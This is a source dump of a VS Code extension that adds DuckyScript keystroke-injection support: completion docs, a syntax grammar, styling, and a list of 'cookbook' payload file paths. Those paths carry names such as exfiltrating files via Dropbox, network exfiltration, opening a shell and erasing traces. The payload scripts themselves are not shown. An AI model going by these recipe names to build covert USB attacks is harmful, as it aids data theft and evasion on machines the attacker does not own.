$FOO = 1337 30 | $FOO = ( $FOO - 1295 ) 31 | REM $FOO was assigned 1337, subtracted 1295, and ended up equalling 42. 32 | \`\`\` 33 | 34 | `), 35 | text: "" 36 | },{ 37 | label: "OPERATORS.COMPARISON", 38 | detail: "", 39 | doc: new vscode.MarkdownString(` 40 | # Comparison 41 | 42 | Will compare two values to evaluate a single boolean value. 43 | 44 | \`==\` - *Equal to* 45 | 46 | \`!=\` - *Not equal to* 47 | 48 | \`>\` - *Greater than* 49 | 50 | \`<\` - *Less than* 51 | 52 | \`>=\` - *Greater than or equal to* 53 | 54 | \`<=\` - *Less than or equal to* 55 | 56 | \`\`\` 57 | VAR $FOO = 42 58 | VAR $BAR = 1337 59 | IF ( $FOO < $BAR ) THEN 60 | STRING 42 is less than 1337 61 | END_IF 62 | \`\`\` 63 | 64 | `), 65 | text: "" 66 | },{ 67 | label: "OPERATORS.ORDER-OF-OPERATIONS", 68 | detail: "", 69 | doc: new vscode.MarkdownString(` 70 | # Order of Operations 71 | 72 | Parentheses \`( )\` are required to define the precedence conventions. 73 | 74 | \`\`\` 75 | VAR $FOO = 42 76 | VAR $BAR = (( 100 * 13 ) + ( $FOO - 5 )) 77 | \`\`\` 78 | 79 | `), 80 | text: "" 81 | },{ 82 | label: "OPERATORS.LOGICAL-OPERATORS", 83 | detail: "", 84 | doc: new vscode.MarkdownString(` 85 | # Logical Operators 86 | 87 | Logical operators may be used to connect two or more expressions. 88 | 89 | 90 | \`&&\` - *Logical AND. If both the operands are non-zero, the condition is TRUE.* 91 | 92 | \`\|\|\` - *Logical OR. If any of the two operands is non-zero, the condition is TRUE.* 93 | 94 | \`\`\` 95 | VAR $FOO = 42 96 | VAR $BAR = 1337 97 | IF ( $FOO < $BAR ) || ( $BAR == $FOO ) THEN 98 | STRING Either 42 is less than 1337 or 42 is equal to 1337 99 | END_IF 100 | \`\`\` 101 | 102 | `), 103 | text: "" 104 | },{ 105 | label: "OPERATORS.BITWISE-OPERATORS", 106 | detail: "", 107 | doc: new vscode.MarkdownString(` 108 | # Bitwise Operators 109 | 110 | Operate on the uint16 values at the binary level. 111 | 112 | \`&\` - *Bitwise AND. If the corresponding bits of the two operands is 1, will result in 1. Otherwise if either bit of an operand is 0, the result of the corresponding bit is evaluated as 0.* 113 | 114 | \`\|\` - *Bitwise OR. If at least one corresponding bit of the two operands is 1, will result in 1.* 115 | 116 | \`>>\` - *Right Shift. Accepts two numbers. Right shifts the bits of the first operand. The second operand determines the number of places to shift.* 117 | 118 | \`<<\` - *Left Shift. Accepts two numbers. Left shifts the bits of the first operand. The second operand decides the number of places to shift.* 119 | 120 | \`\`\` 121 | ATTACKMODE HID STORAGE VID_05AC PID_021E 122 | VAR $FOO = $_CURRENT_VID 123 | REM Because VID and PID parameters are little endian, 124 | $FOO = ((($FOO >> 8) & 0x00FF) | (($FOO << 8) & 0xFF00)) 125 | REM $FOO will now equal 0xAC05 126 | \`\`\` 127 | 128 | `), 129 | text: "" 130 | } 131 | ]; 132 | -------------------------------------------------------------------------------- /src/commands/basic_modifier.ts: -------------------------------------------------------------------------------- 1 | import * as vscode from 'vscode'; 2 | import { CommandInfo } from './structure' 3 | 4 | 5 | export const BASIC_MODIFIER_COMMANDS: CommandInfo[] = [ 6 | { 7 | label: "BASIC-MODIFIER-KEYS", 8 | detail: "Modifier keys held in combination", 9 | doc: new vscode.MarkdownString(` 10 | # BASIC-MODIFIER 11 | 12 | Modifier keys held in combination with another key to perform a special function. Common keyboard combinations for the PC include the familiar \`CTRL c\` for copy, \`CTRL x\` for cut, and \`CTRL v\` for paste. 13 | 14 | \`SHIFT\` 15 | 16 | \`ALT\` 17 | 18 | \`CONTROL\` or \`CTRL\` 19 | 20 | \`COMMAND\` 21 | 22 | \`WINDOWS\` or \`GUI\` 23 | 24 | `), 25 | text: "" 26 | },{ 27 | label: "BASIC-MODIFIER.SHIFT", 28 | detail: "SHIFT modifier key", 29 | doc: new vscode.MarkdownString(` 30 | # SHIFT 31 | 32 | Modifier keys held in combination with another key to perform a special function. Common keyboard combinations for the PC include the familiar \`CTRL c\` for copy, \`CTRL x\` for cut, and \`CTRL v\` for paste. 33 | 34 | \`SHIFT\` 35 | 36 | `), 37 | text: "SHIFT" 38 | },{ 39 | label: "BASIC-MODIFIER.ALT", 40 | detail: "ALT modifier key", 41 | doc: new vscode.MarkdownString(` 42 | # ALT 43 | 44 | Modifier keys held in combination with another key to perform a special function. Common keyboard combinations for the PC include the familiar \`CTRL c\` for copy, \`CTRL x\` for cut, and \`CTRL v\` for paste. 45 | 46 | \`ALT\` 47 | 48 | `), 49 | text: "ALT" 50 | },{ 51 | label: "BASIC-MODIFIER.CONTROL", 52 | detail: "CONTROL modifier key", 53 | doc: new vscode.MarkdownString(` 54 | # CONTROL 55 | 56 | Modifier keys held in combination with another key to perform a special function. Common keyboard combinations for the PC include the familiar \`CTRL c\` for copy, \`CTRL x\` for cut, and \`CTRL v\` for paste. 57 | 58 | \`CONTROL\` 59 | 60 | `), 61 | text: "CONTROL" 62 | },{ 63 | label: "BASIC-MODIFIER.CTRL", 64 | detail: "CTRL modifier key", 65 | doc: new vscode.MarkdownString(` 66 | # CTRL 67 | 68 | Modifier keys held in combination with another key to perform a special function. Common keyboard combinations for the PC include the familiar \`CTRL c\` for copy, \`CTRL x\` for cut, and \`CTRL v\` for paste. 69 | 70 | \`CTRL\` 71 | 72 | `), 73 | text: "CTRL" 74 | },{ 75 | label: "BASIC-MODIFIER.COMMAND", 76 | detail: "COMMAND modifier key", 77 | doc: new vscode.MarkdownString(` 78 | # COMMAND 79 | 80 | Modifier keys held in combination with another key to perform a special function. Common keyboard combinations for the PC include the familiar \`CTRL c\` for copy, \`CTRL x\` for cut, and \`CTRL v\` for paste. 81 | 82 | \`COMMAND\` 83 | 84 | `), 85 | text: "COMMAND" 86 | },{ 87 | label: "BASIC-MODIFIER.WINDOWS", 88 | detail: "WINDOWS modifier key", 89 | doc: new vscode.MarkdownString(` 90 | # WINDOWS 91 | 92 | Modifier keys held in combination with another key to perform a special function. Common keyboard combinations for the PC include the familiar \`CTRL c\` for copy, \`CTRL x\` for cut, and \`CTRL v\` for paste. 93 | 94 | \`WINDOWS\` 95 | 96 | `), 97 | text: "WINDOWS" 98 | },{ 99 | label: "BASIC-MODIFIER.GUI", 100 | detail: "GUI modifier key", 101 | doc: new vscode.MarkdownString(` 102 | # GUI 103 | 104 | Modifier keys held in combination with another key to perform a special function. Common keyboard combinations for the PC include the familiar \`CTRL c\` for copy, \`CTRL x\` for cut, and \`CTRL v\` for paste. 105 | 106 | \`GUI\` 107 | 108 | `), 109 | text: "GUI" 110 | } 111 | 112 | ]; -------------------------------------------------------------------------------- /src/utils/consts.ts: -------------------------------------------------------------------------------- 1 | // const ROOT_DIR = "assets/"; 2 | // const DUCKYSCRIPT_CODE_DIR = "code/"; 3 | // const FULL_PATH = ROOT_DIR+DUCKYSCRIPT_CODE_DIR; 4 | // const COOKBOOK_EXTENSION_FILE = ".txt"; 5 | 6 | 7 | // export const PATH_TO_COOKBOOK = { 8 | // PAYLOAD_INTRO_3_0 : FULL_PATH + "3_0_PAYLOAD_INTRO" + COOKBOOK_EXTENSION_FILE, 9 | // DETECT_READY_3_0 : FULL_PATH + "3_0_DETECT_READY" + COOKBOOK_EXTENSION_FILE, 10 | // PASSIVE_WINDOWS_DETECT_3_0 : FULL_PATH + "3_0_PASSIVE_WINDOWS_DETECT" + COOKBOOK_EXTENSION_FILE, 11 | // ERASE_TRACES_POWERSHELL_3_0 : FULL_PATH + "3_0_ERASE_TRACES_POWERSHELL" + COOKBOOK_EXTENSION_FILE, 12 | // ERASE_TRACES_SHELL_3_0 : FULL_PATH + "3_0_ERASE_TRACES_SHELL" + COOKBOOK_EXTENSION_FILE, 13 | // EXFILTRATE_FILES_USING_DROPBOX_WINDOWS_3_0 : FULL_PATH + "3_0_EXFILTRATE_FILES_USING_DROPBOX_WINDOWS" + COOKBOOK_EXTENSION_FILE, 14 | // OPEN_POWERSHELL_3_0 : FULL_PATH + "3_0_OPEN_POWERSHELL" + COOKBOOK_EXTENSION_FILE, 15 | // SAVE_FILES_IN_RUBBER_DUCKY_STORAGE_WINDOWS_3_0 : FULL_PATH + "3_0_SAVE_FILES_IN_RUBBER_DUCKY_STORAGE_WINDOWS" + COOKBOOK_EXTENSION_FILE, 16 | // GENERALIZED_WINDOWS_USER_PATH_3_0 : FULL_PATH + "3_0_GENERALIZED_WINDOWS_USER_PATH" + COOKBOOK_EXTENSION_FILE, 17 | // PHYSICAL_EXFILTRATION_3_0 : FULL_PATH + "3_0_PHYSICAL_EXFILTRATION" + COOKBOOK_EXTENSION_FILE, 18 | // NETWORK_EXFILTRATION_3_0 : FULL_PATH + "3_0_NETWORK_EXFILTRATION" + COOKBOOK_EXTENSION_FILE, 19 | // PAYLOAD_INTRO_1_0 : FULL_PATH + "1_0_PAYLOAD_INTRO" + COOKBOOK_EXTENSION_FILE, 20 | // ERASE_TRACES_POWERSHELL_1_0 : FULL_PATH + "1_0_ERASE_TRACES_POWERSHELL" + COOKBOOK_EXTENSION_FILE, 21 | // ERASE_TRACES_SHELL_1_0 : FULL_PATH + "1_0_ERASE_TRACES_SHELL" + COOKBOOK_EXTENSION_FILE, 22 | // EXFILTRATE_FILES_USING_DROPBOX_WINDOWS_1_0 : FULL_PATH + "1_0_EXFILTRATE_FILES_USING_DROPBOX_WINDOWS" + COOKBOOK_EXTENSION_FILE, 23 | // OPEN_POWERSHELL_1_0 : FULL_PATH + "1_0_OPEN_POWERSHELL" + COOKBOOK_EXTENSION_FILE, 24 | // GENERALIZED_WINDOWS_USER_PATH_1_0 : FULL_PATH + "1_0_GENERALIZED_WINDOWS_USER_PATH" + COOKBOOK_EXTENSION_FILE, 25 | // OPEN_SHELL : FULL_PATH + "OPEN_SHELL" + COOKBOOK_EXTENSION_FILE 26 | // }; 27 | 28 | 29 | const ROOT_DIR = "assets/"; 30 | const DUCKYSCRIPT_CODE_DIR = "code/"; 31 | const FULL_PATH = ROOT_DIR + DUCKYSCRIPT_CODE_DIR; 32 | const COOKBOOK_EXTENSION_FILE = ".txt"; 33 | 34 | // Funzione di utilità per comporre il path 35 | const createPath = (filename: string) => `${FULL_PATH}${filename}${COOKBOOK_EXTENSION_FILE}`; 36 | 37 | export const PATH_TO_COOKBOOK = { 38 | PAYLOAD_INTRO_3_0: createPath("3_0_PAYLOAD_INTRO"), 39 | DETECT_READY_3_0: createPath("3_0_DETECT_READY"), 40 | PASSIVE_WINDOWS_DETECT_3_0: createPath("3_0_PASSIVE_WINDOWS_DETECT"), 41 | ERASE_TRACES_POWERSHELL_3_0: createPath("3_0_ERASE_TRACES_POWERSHELL"), 42 | ERASE_TRACES_SHELL_3_0: createPath("3_0_ERASE_TRACES_SHELL"), 43 | EXFILTRATE_FILES_USING_DROPBOX_WINDOWS_3_0: createPath("3_0_EXFILTRATE_FILES_USING_DROPBOX_WINDOWS"), 44 | OPEN_POWERSHELL_3_0: createPath("3_0_OPEN_POWERSHELL"), 45 | SAVE_FILES_IN_RUBBER_DUCKY_STORAGE_WINDOWS_3_0: createPath("3_0_SAVE_FILES_IN_RUBBER_DUCKY_STORAGE_WINDOWS"), 46 | GENERALIZED_WINDOWS_USER_PATH_3_0: createPath("3_0_GENERALIZED_WINDOWS_USER_PATH"), 47 | PHYSICAL_EXFILTRATION_3_0: createPath("3_0_PHYSICAL_EXFILTRATION"), 48 | NETWORK_EXFILTRATION_3_0: createPath("3_0_NETWORK_EXFILTRATION"), 49 | 50 | PAYLOAD_INTRO_1_0: createPath("1_0_PAYLOAD_INTRO"), 51 | ERASE_TRACES_POWERSHELL_1_0: createPath("1_0_ERASE_TRACES_POWERSHELL"), 52 | ERASE_TRACES_SHELL_1_0: createPath("1_0_ERASE_TRACES_SHELL"), 53 | EXFILTRATE_FILES_USING_DROPBOX_WINDOWS_1_0: createPath("1_0_EXFILTRATE_FILES_USING_DROPBOX_WINDOWS"), 54 | OPEN_POWERSHELL_1_0: createPath("1_0_OPEN_POWERSHELL"), 55 | GENERALIZED_WINDOWS_USER_PATH_1_0: createPath("1_0_GENERALIZED_WINDOWS_USER_PATH"), 56 | 57 | OPEN_SHELL: createPath("OPEN_SHELL"), 58 | }; 59 | -------------------------------------------------------------------------------- /syntaxes/duckyscript.tmLanguage.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "DuckyScript", 3 | "scopeName": "source.duckyscript", 4 | "patterns": [ 5 | { 6 | "include": "#comments" 7 | }, 8 | { 9 | "include": "#keywords" 10 | }, 11 | { 12 | "include": "#code_blocks" 13 | }, 14 | { 15 | "include": "#usb_army_knife" 16 | } 17 | ], 18 | "repository": { 19 | "comments": { 20 | "patterns": [ 21 | { 22 | "name": "comments.inline.duckyscript", 23 | "match": "^\\s*\\t*REM\\s+.*$" 24 | }, 25 | { 26 | "begin": "^\\s*\\t*REM_BLOCK(?:\\s.*)?$", 27 | "end": "^.*END_REM", 28 | "name": "comments.block.duckyscript" 29 | } 30 | ] 31 | }, 32 | "keywords": { 33 | "patterns": [ 34 | { 35 | "name": "keywords.declaration.duckyscript", 36 | "match": "(#|\\$)([A-Za-z0-9_-]+)" 37 | }, 38 | { 39 | "name": "keywords.operator.duckyscript", 40 | "match": "(=|\\+|-|\\*|/|%|\\^|&|!=|<|>|\\|)" 41 | }, 42 | { 43 | "name": "keywords.statement.duckyscript", 44 | "match": "(?<=\\s|\\t|^)(EXTENSION|END_EXTENSION|BUTTON_DEF|END_BUTTON|DEFINE|VAR|IF|ELSE|THEN|END_IF|IF_DEFINED_TRUE|END_IF_DEFINED|WHILE|END_WHILE|FUNCTION|END_FUNCTION|[A-Za-z0-9]+\\(.*\\))(?=\\s|\\t|$)" 45 | }, 46 | { 47 | "name": "keywords.truecondition.duckyscript", 48 | "match": "(TRUE|FALSE)" 49 | }, 50 | { 51 | "name": "keywords.command.duckyscript", 52 | "match": "(?<=\\s|\\t|^)(STRING|STRING_POWERSHELL|STRING_BATCH|STRING_BASH|STRING_JAVASCRIPT|STRING_PYTHON|STRING_RUBY|STRING_HTML|END_STRING|STRINGLN|STRINGLN_POWERSHELL|STRINGLN_BATCH|STRINGLN_BASH|STRINGLN_JAVASCRIPT|STRINGLN_PYTHON|STRINGLN_RUBY|STRINGLN_HTML|END_STRINGLN|DEFAULTDELAY|DEFAULT_DELAY|DELAY|ATTACKMODE|ENTER|ESCAPE|SHIFT|ALT|CTRL|GUI|DOWNARROW|DOWN|UPARROW|UP|LEFTARROW|LEFT|RIGHTARROW|RIGHT|TAB|CAPSLOCK|DELETE|DEL|END|ESC|HOME|INSERT|PAGEUP|PAGEDOWN|PRINTSCREEN|SPACE|BACKSPACE|BREAK|PAUSE|MENU|APP|F1|F2|F3|F4|F5|F6|F7|F8|F9|F10|F11|F12|NUMLOCK|SCROLLLOCK|WINDOWS|CONTROL|COMMAND|OPTION|INJECT_MOD|WAIT_FOR_BUTTON_PRESS|LED_OFF|LED_R|LED_G|HID|STORAGE|OFF|ATTACKMODE|RANDOM_LOWERCASE_LETTER|RANDOM_UPPERCASE_LETTER|RANDOM_LETTER|RANDOM_NUMBER|RANDOM_SPECIAL|RANDOM_CHAR|VID_RANDOM|PID_RANDOM|MAN_RANDOM|PROD_RANDOM|SERIAL_RANDOM|HOLD|RESET|RESTART_PAYLOAD|STOP_PAYLOAD|HIDE_PAYLOAD|RESTORE_PAYLOAD|WAIT_FOR_CAPS_ON|WAIT_FOR_CAPS_OFF|WAIT_FOR_CAPS_CHANGE|WAIT_FOR_NUM_ON|WAIT_FOR_NUM_OFF|WAIT_FOR_NUM_CHANGE|WAIT_FOR_SCROLL_ON|WAIT_FOR_SCROLL_OFF|WAIT_FOR_SCROLL_CHANGE|SAVE_HOST_KEYBOARD_LOCK_STATE|RESTORE_HOST_KEYBOARD_LOCK_STATE|EXFIL|RESTORE_ATTACKMODE|SAVE_ATTACKMODE|RELEASE|SCROLLOCK|RETURN)(?=\\s|\\t|$)" 53 | } 54 | ] 55 | }, 56 | "usb_army_knife": { 57 | "patterns": [ 58 | { 59 | "name": "usb_army_knife.userinterface.duckyscript", 60 | "match": "(?<=\\s|\\t|^)(TFT_OFF|TFT_ON|DISPLAY_PNG|DISPLAY_TEXT|DISPLAY_CLEAR|LED|LED_B)(?=\\s|\\t|$)" 61 | }, 62 | { 63 | "name": "usb_army_knife.hardware.duckyscript", 64 | "match": "(?<=\\s|\\t|^)(WEB_OFF|WEB_ON|WIFI_OFF|WIFI_ON|SERIAL|BUTTON_LONG_PRESS|BUTTON_SHORT_PRESS)(?=\\s|\\t|$)" 65 | }, 66 | { 67 | "name": "usb_army_knife.usbfunctionality.duckyscript", 68 | "match": "(?<=\\s|\\t|^)(USB_MOUNT_DISK_READ_ONLY|USB_NCM_PCAP_ON|USB_NCM_PCAP_OFF|WAIT_FOR_USB_STORAGE_ACTIVITY|WAIT_FOR_USB_STORAGE_ACTIVITY_TO_STOP|RAW_HID)(?=\\s|\\t|$)" 69 | }, 70 | { 71 | "name": "usb_army_knife.hostagent.duckyscript", 72 | "match": "(?<=\\s|\\t|^)(AGENT_RUN|WAIT_FOR_AGENT_RUN_RESULT|AGENT_CONNECTED)(?=\\s|\\t|$)" 73 | }, 74 | { 75 | "name": "usb_army_knife.filehandling.duckyscript", 76 | "match": "(?<=\\s|\\t|^)(FILE_EXISTS|CREATE_FILE|DELETE_FILE|LOAD_FILES_FROM_SD|FILE_INDEX_VALID)(?=\\s|\\t|$)" 77 | }, 78 | { 79 | "name": "usb_army_knife.other.duckyscript", 80 | "match": "(?<=\\s|\\t|^)(CALC|ESP32M|RUN_PAYLOAD|KEYBOARD_LAYOUT)(?=\\s|\\t|$)" 81 | } 82 | ] 83 | } 84 | } 85 | } 86 | -------------------------------------------------------------------------------- /media/css/main.css: -------------------------------------------------------------------------------- 1 | #container { 2 | display: flex; 3 | flex-direction: column; 4 | align-items: center; 5 | } 6 | 7 | #container > .container-item { 8 | margin: 5px; 9 | } 10 | 11 | #plus-icon, #play-icon { 12 | margin-right: 5px; 13 | } 14 | 15 | #run-button { 16 | background-color: limegreen; 17 | } 18 | 19 | #options { 20 | width: 100%; 21 | margin-bottom: 10px; 22 | } 23 | 24 | .option { 25 | display: flex; 26 | align-items: center; 27 | } 28 | 29 | .fa-trash-can, .fa-trash-can:hover { 30 | color: tomato; 31 | margin: 5px; 32 | } 33 | 34 | #different-solver { 35 | display: flex; 36 | align-items: center; 37 | } 38 | 39 | body { 40 | user-select: none; 41 | -webkit-user-select: none; 42 | -ms-user-select: none; 43 | -moz-user-select: none; 44 | -khtml-user-select: none; 45 | -webkit-user-drag: none; 46 | -khtml-user-drag: none; 47 | 48 | background: #4373c2; 49 | color: white; 50 | } 51 | 52 | textarea:focus, 53 | input:focus, 54 | input[type]:focus, 55 | .uneditable-input:focus { 56 | outline: none; 57 | box-shadow: none; 58 | border: none; 59 | } 60 | .bootstrap-select .btn:focus, 61 | .form-select { 62 | outline: none; 63 | } 64 | 65 | .panel-heading{ 66 | margin: 8px 0 5px 0; 67 | } 68 | h3{ 69 | margin: 0; 70 | padding: 0; 71 | font-size: small; 72 | } 73 | h6{ 74 | margin: 0; 75 | padding: 0; 76 | } 77 | 78 | .panel-body { 79 | position: relative; 80 | margin: 0; 81 | padding: 0; 82 | border: 0; 83 | } 84 | 85 | .panel-body .panel-title{ 86 | position: absolute; 87 | margin: 0; 88 | padding: 0; 89 | border: 0; 90 | left:0; 91 | top:50%; 92 | left:50%; 93 | transform:translate(-50%, -50%); 94 | font-size: 12px; 95 | line-height: 100%; 96 | text-align: center; 97 | } 98 | 99 | #check{ 100 | color: #FFF; 101 | } 102 | 103 | hr.dashed { 104 | border-top: 3px dashed #bbb; 105 | } 106 | 107 | .recipe-button { 108 | width: 80%; 109 | } 110 | 111 | * { 112 | margin: 0; 113 | padding: 0; 114 | box-sizing: border-box; 115 | font-family: "Poppins", sans-serif; 116 | } 117 | h1, h3 { 118 | margin-top: 15px; 119 | } 120 | h3 { 121 | margin-bottom: 15px; 122 | } 123 | body { 124 | display: flex; 125 | justify-content: center; 126 | align-items: center; 127 | background: #011627; 128 | min-height: 100vh; 129 | } 130 | .list { 131 | position: relative; 132 | } 133 | .list h2 { 134 | color: #fff; 135 | font-weight: 700; 136 | letter-spacing: 1px; 137 | margin-bottom: 10px; 138 | } 139 | .list ul { 140 | position: relative; 141 | } 142 | .list ul li { 143 | position: relative; 144 | left: 0; 145 | color: #fce4ec; 146 | list-style: none; 147 | margin: 4px 0; 148 | border-left: 2px solid #ffbd11; 149 | transition: 0.5s; 150 | cursor: pointer; 151 | } 152 | .list ul li:hover { 153 | left: 10px; 154 | } 155 | .list ul li span { 156 | position: relative; 157 | padding: 8px; 158 | padding-left: 12px; 159 | display: inline-block; 160 | z-index: 1; 161 | transition: 0.5s; 162 | } 163 | .list ul li:hover span { 164 | color: #111; 165 | } 166 | .list ul li:before { 167 | content: ""; 168 | position: absolute; 169 | width: 100%; 170 | height: 100%; 171 | background: #ffbd11; 172 | transform: scaleX(0); 173 | transform-origin: left; 174 | transition: 0.5s; 175 | } 176 | .list ul li:hover:before { 177 | transform: scaleX(1); 178 | } 179 | 180 | hr { 181 | margin: 1.5em 0; 182 | text-align: center; 183 | border: none; 184 | } 185 | 186 | hr:before { 187 | content: ''; 188 | display: inline-block; 189 | width: 14px; 190 | height: 14px; 191 | border-radius: 50%; 192 | background: #eee; 193 | margin: 0 0.4em; 194 | } 195 | 196 | hr:after { 197 | content: ''; 198 | display: inline-block; 199 | width: 14px; 200 | height: 14px; 201 | border-radius: 50%; 202 | background: #eee; 203 | margin: 0 0.4em; 204 | } 205 | -------------------------------------------------------------------------------- /src/extension.ts: -------------------------------------------------------------------------------- 1 | import * as vscode from 'vscode'; 2 | import { CodePanelViewProvider } from './cpanel/code_panel_view_provider'; 3 | import { ATTACKMODE_COMMANDS } from './commands/attackmode' 4 | import { BASIC_MODIFIER_COMMANDS } from './commands/basic_modifier'; 5 | import { BUTTON_COMMANDS } from './commands/button'; 6 | import { COMBO_COMMANDS } from './commands/combo'; 7 | import { CONDITIONAL_STATEMENTS_COMMANDS } from './commands/conditional_statements'; 8 | import { CONSTANTS_COMMANDS } from './commands/constants'; 9 | import { CURSOR_COMMANDS } from './commands/cursor'; 10 | import { FUNCTIONS_COMMANDS } from './commands/functions'; 11 | import { GENERAL_COMMANDS } from './commands/general'; 12 | import { INTERNAL_VARIABLES_COMMANDS } from './commands/internal_variables'; 13 | import { LED_COMMANDS } from './commands/led'; 14 | import { LOCK_COMMANDS } from './commands/lock'; 15 | import { LOOPS_COMMANDS } from './commands/loops'; 16 | import { OPERATORS_COMMANDS } from './commands/operators'; 17 | import { PAYLOAD_CONTROL_COMMANDS } from './commands/payload_control'; 18 | import { PAYLOAD_HIDING } from './commands/payload_hiding'; 19 | import { RANDOM_COMMANDS } from './commands/randomization'; 20 | import { SYSTEM_COMMANDS } from './commands/system'; 21 | import { VARIABLES_COMMANDS } from './commands/variables'; 22 | 23 | 24 | 25 | const commandGroups = [ 26 | ATTACKMODE_COMMANDS, 27 | BASIC_MODIFIER_COMMANDS, 28 | BUTTON_COMMANDS, 29 | COMBO_COMMANDS, 30 | CONDITIONAL_STATEMENTS_COMMANDS, 31 | CONSTANTS_COMMANDS, 32 | CURSOR_COMMANDS, 33 | FUNCTIONS_COMMANDS, 34 | GENERAL_COMMANDS, 35 | INTERNAL_VARIABLES_COMMANDS, 36 | LED_COMMANDS, 37 | LOCK_COMMANDS, 38 | LOOPS_COMMANDS, 39 | OPERATORS_COMMANDS, 40 | PAYLOAD_CONTROL_COMMANDS, 41 | PAYLOAD_HIDING, 42 | RANDOM_COMMANDS, 43 | SYSTEM_COMMANDS, 44 | VARIABLES_COMMANDS 45 | ]; 46 | 47 | const suffix = `\n*Source: https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-tm-quick-reference*\n\n*Did you find something incorrect or something missing? [Write it to me](https://github.com/aleff-github/DuckyScriptCookbook/issues) to contribute or edit it yourself!*`; 48 | 49 | const updatedCommandGroups = commandGroups.map(group => 50 | group.map(command => command.doc.appendMarkdown(suffix)) 51 | ); 52 | 53 | const ALL_COMMANDS = commandGroups.flat(); 54 | 55 | // We implement a CompletionItemProvider for our language 56 | class MyLanguageCompletionItemProvider implements vscode.CompletionItemProvider { 57 | // This method is called when the user activates the suggestions (e.g., Ctrl+Space) 58 | public provideCompletionItems( 59 | document: vscode.TextDocument, 60 | position: vscode.Position, 61 | token: vscode.CancellationToken, 62 | context: vscode.CompletionContext 63 | ): vscode.ProviderResult { 64 | 65 | const completions: vscode.CompletionItem[] = ALL_COMMANDS.map((command) => { 66 | const item = new vscode.CompletionItem(command.label, vscode.CompletionItemKind.Keyword); 67 | item.detail = command.detail; 68 | item.documentation = command.doc; 69 | item.insertText = command.text; 70 | return item; 71 | }); 72 | 73 | return completions; 74 | } 75 | } 76 | 77 | 78 | /** 79 | * Extension activation function. 80 | * 81 | */ 82 | export function activate(context: vscode.ExtensionContext) { 83 | //Cookbook 84 | const provider = new CodePanelViewProvider(context); 85 | context.subscriptions.push( 86 | vscode.window.registerWebviewViewProvider(CodePanelViewProvider.viewType, provider)); 87 | vscode.commands.registerCommand('duckyscript.Cookbook', () => { 88 | context.subscriptions.push( 89 | vscode.window.registerWebviewViewProvider(CodePanelViewProvider.viewType, provider)); 90 | }); 91 | 92 | // Completion provider 93 | const providerDisposable = vscode.languages.registerCompletionItemProvider( 94 | { language: 'duckyscript' }, 95 | new MyLanguageCompletionItemProvider() 96 | ); 97 | 98 | context.subscriptions.push(providerDisposable); 99 | } 100 | 101 | function deactivate() { } 102 | 103 | module.exports = { 104 | activate, 105 | deactivate 106 | }; 107 | -------------------------------------------------------------------------------- /src/commands/cursor.ts: -------------------------------------------------------------------------------- 1 | import * as vscode from 'vscode'; 2 | import { CommandInfo } from './structure' 3 | 4 | 5 | export const CURSOR_COMMANDS: CommandInfo[] = [ 6 | { 7 | label: "CURSOR KEYS", 8 | detail: "Cursor keys to navigate", 9 | doc: new vscode.MarkdownString(` 10 | # CURSOR KEYS 11 | 12 | The cursor keys are used to navigate the cursor to a different position on the screen. 13 | 14 | \`UP\` \`DOWN\` \`LEFT\` \`RIGHT\` 15 | 16 | \`UPARROW\` \`DOWNARROW\` \`LEFTARROW\` \`RIGHTARROW\` 17 | 18 | \`PAGEUP\` \`PAGEDOWN\` \`HOME\` \`END\` 19 | 20 | \`INSERT\` \`DELETE\` \`DEL\` \`BACKSPACE\` 21 | 22 | \`TAB\` 23 | 24 | \`SPACE\` 25 | 26 | `), 27 | text: "" 28 | },{ 29 | label: "CURSOR.UP", 30 | detail: "Cursor keys to navigate up", 31 | doc: new vscode.MarkdownString(` 32 | # UP 33 | 34 | The cursor keys are used to navigate the cursor to a different position on the screen. 35 | 36 | \`UP\` 37 | 38 | `), 39 | text: "UP" 40 | },{ 41 | label: "CURSOR.DOWN", 42 | detail: "Cursor keys to navigate down", 43 | doc: new vscode.MarkdownString(` 44 | # DOWN 45 | 46 | The cursor keys are used to navigate the cursor to a different position on the screen. 47 | 48 | \`DOWN\` 49 | 50 | `), 51 | text: "DOWN" 52 | },{ 53 | label: "CURSOR.LEFT", 54 | detail: "Cursor keys to navigate left", 55 | doc: new vscode.MarkdownString(` 56 | # CURSOR KEYS 57 | 58 | The cursor keys are used to navigate the cursor to a different position on the screen. 59 | 60 | \`LEFT\` 61 | 62 | `), 63 | text: "LEFT" 64 | },{ 65 | label: "CURSOR.RIGHT", 66 | detail: "Cursor keys to navigate right", 67 | doc: new vscode.MarkdownString(` 68 | # RIGHT 69 | 70 | The cursor keys are used to navigate the cursor to a different position on the screen. 71 | 72 | \`RIGHT\` 73 | 74 | `), 75 | text: "RIGHT" 76 | },{ 77 | label: "CURSOR.UPARROW", 78 | detail: "Cursor keys to press UPARROW", 79 | doc: new vscode.MarkdownString(` 80 | # CURSOR KEYS 81 | 82 | The cursor keys are used to navigate the cursor to a different position on the screen. 83 | 84 | \`UPARROW\` 85 | 86 | `), 87 | text: "UPARROW" 88 | },{ 89 | label: "CURSOR.DOWNARROW", 90 | detail: "Cursor keys to press DOWNARROW", 91 | doc: new vscode.MarkdownString(` 92 | # DOWNARROW 93 | 94 | The cursor keys are used to navigate the cursor to a different position on the screen. 95 | 96 | \`DOWNARROW\` 97 | 98 | `), 99 | text: "DOWNARROW" 100 | },{ 101 | label: "CURSOR.LEFTARROW", 102 | detail: "Cursor keys to press LEFTARROW", 103 | doc: new vscode.MarkdownString(` 104 | # CURSOR KEYS 105 | 106 | The cursor keys are used to navigate the cursor to a different position on the screen. 107 | 108 | \`LEFTARROW\` 109 | 110 | `), 111 | text: "LEFTARROW" 112 | },{ 113 | label: "CURSOR.RIGHTARROW", 114 | detail: "Cursor keys to press RIGHTARROW", 115 | doc: new vscode.MarkdownString(` 116 | # LEFTARROW 117 | 118 | The cursor keys are used to navigate the cursor to a different position on the screen. 119 | 120 | \`RIGHTARROW\` 121 | 122 | `), 123 | text: "RIGHTARROW" 124 | },{ 125 | label: "CURSOR.PAGEUP", 126 | detail: "Cursor keys to press PAGEUP", 127 | doc: new vscode.MarkdownString(` 128 | # PAGEUP 129 | 130 | The cursor keys are used to navigate the cursor to a different position on the screen. 131 | 132 | \`PAGEUP\` 133 | 134 | `), 135 | text: "PAGEUP" 136 | },{ 137 | label: "CURSOR.PAGEDOWN", 138 | detail: "Cursor keys to press PAGEDOWN", 139 | doc: new vscode.MarkdownString(` 140 | # PAGEDOWN 141 | 142 | The cursor keys are used to navigate the cursor to a different position on the screen. 143 | 144 | \`PAGEDOWN\` 145 | 146 | `), 147 